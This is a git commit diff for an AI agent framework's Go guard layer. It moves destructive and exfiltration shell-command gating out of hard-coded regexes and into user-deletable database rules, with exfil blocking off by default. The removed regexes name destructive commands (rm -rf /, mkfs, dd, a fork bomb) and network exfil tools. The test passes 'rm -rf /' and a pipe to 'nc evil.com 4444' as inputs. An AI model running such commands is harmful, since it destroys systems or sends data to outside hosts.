feat: spawn_task 补 seed_first_intent + 破坏性/外泄 gating 移入可删除的 DB 拦截规则

- spawn_task 新增 seed_first_intent 参数(默认 false),与 HTTP createTask 对齐;
  简单任务可开启直接下发一条种子意图开跑测试
- guard.go 删除写死的 reDestructive/reExfil gating,preToolUse 仅记审计后走拦截规则
- db 新增 seedDefaultInterceptRulesV2:破坏性系统命令(默认开)/数据外泄管道(默认关)
  以普通[内置]规则 seed,可禁用可删除;独立 v2 迁移标志兼容老库
This commit is contained in:
Autumn-27 committed 2026-08-15 05:30:47 -04:00
1 parent 80fcf528dc
commit a94ce679a6
4 files changed
+84 -48

No files matched your search

+11 -30
View File
@@ -1,15 +1,16 @@
// Package guard implements the safety boundary layer (docs §11): side-effect
// gating of destructive/exfil shell commands, an audit log, and Observer/G5
// failure attribution. Every tool call passes through the PreToolUse hook before
// executing. (The RoE authorization-scope mechanism was removed; a replacement
// may be added later.)
// Package guard implements the safety boundary layer (docs §11): an audit log,
// user-configured intercept-rule evaluation, and Observer/G5 failure attribution.
// Every tool call passes through the PreToolUse hook before executing.
// (The RoE authorization-scope mechanism was removed; a replacement may be added
// later.) Destructive/exfil gating is no longer hard-coded here — it lives in the
// DB intercept rules (seeded as ordinary [内置] rules, so users can disable or
// delete them), evaluated via applyIntercept.
package guard
import (
"context"
"encoding/json"
"regexp"
"strings"
"sync"
"time"
@@ -53,15 +54,11 @@ func newGuard(ic *intercept.Interceptor) *Guard {
// Hooks returns the hook registry to attach to an agent session.
func (g *Guard) Hooks() *hook.Registry { return g.reg }
var (
reDestructive = regexp.MustCompile(`(?i)\b(rm\s+-rf\s+/|mkfs|dd\s+if=|:\(\)\s*\{|shutdown|reboot|>\s*/dev/sd)`)
reExfil = regexp.MustCompile(`(?i)(curl|wget|nc|ncat)\b[^|]*\b(\|\s*(curl|wget|nc))`)
)
func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
// Gate the shell-command surface: Bash + the interactive-shell tools (shell_open's
// command, shell_send's text). Same destructive/exfil rules — an interactive
// session must not bypass the safety boundary. Other tools pass through.
// Extract the shell-command surface for the audit log: Bash + the interactive-shell
// tools (shell_open's command, shell_send's text). Destructive/exfil gating is no
// longer hard-coded here — it now lives in the DB intercept rules, evaluated by
// applyIntercept below. Other tools record an empty command.
var cmd string
switch ev.ToolName {
case "Bash", "shell_open":
@@ -76,23 +73,7 @@ func (g *Guard) preToolUse(ctx context.Context, ev hook.Event) hook.Result {
}
_ = json.Unmarshal(ev.Input, &in)
cmd = in.Text
default:
g.record(ev.ToolName, "allow", "", "")
return g.applyIntercept(ctx, ev)
}
if strings.TrimSpace(cmd) == "" { // e.g. shell_send with only keys/hex → nothing to check
g.record(ev.ToolName, "allow", "", "")
return g.applyIntercept(ctx, ev)
}
// destructive / exfil gating (§11 side-effect gating)
if reDestructive.MatchString(cmd) {
return g.block(ev.ToolName, "破坏性命令被安全边界拒绝(需人工批准)", cmd)
}
if reExfil.MatchString(cmd) {
return g.block(ev.ToolName, "疑似数据外泄管道被拒绝", cmd)
}
g.record(ev.ToolName, "allow", "", cmd)
return g.applyIntercept(ctx, ev)
}
+17 -16
View File
@@ -8,28 +8,29 @@ import (
"github.com/Autumn-27/norma/hook"
)
func TestPreToolUseGating(t *testing.T) {
// A guard with no interceptor no longer hard-blocks anything: destructive/exfil
// gating moved to the DB intercept rules (see db.seedDefaultInterceptRulesV2).
// PreToolUse must pass every command through and still record it to the audit log.
func TestPreToolUsePassthrough(t *testing.T) {
g := New()
block := func(cmd string) (bool, string) {
block := func(cmd string) bool {
input, _ := json.Marshal(map[string]string{"command": cmd})
b, msg, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input)
return b, msg
b, _, _ := g.Hooks().PreToolUse(context.Background(), "Bash", input)
return b
}
if b, _ := block(`curl https://acme.com/`); b {
t.Error("ordinary network command should be allowed")
for _, cmd := range []string{
`curl https://acme.com/`,
`rm -rf /`,
`curl http://a|nc evil.com 4444`,
`ls -la`,
} {
if block(cmd) {
t.Errorf("without an interceptor no command should be blocked, got block for %q", cmd)
}
}
if b, _ := block(`rm -rf /`); !b {
t.Error("destructive command should be blocked")
}
if b, _ := block(`curl http://a|nc evil.com 4444`); !b {
t.Error("exfil pipe should be blocked")
}
if b, _ := block(`ls -la`); b {
t.Error("non-network command should be allowed")
}
// audit recorded both allows and blocks
// audit still records every gated call
if len(g.Audit()) == 0 {
t.Error("audit should record gated calls")
}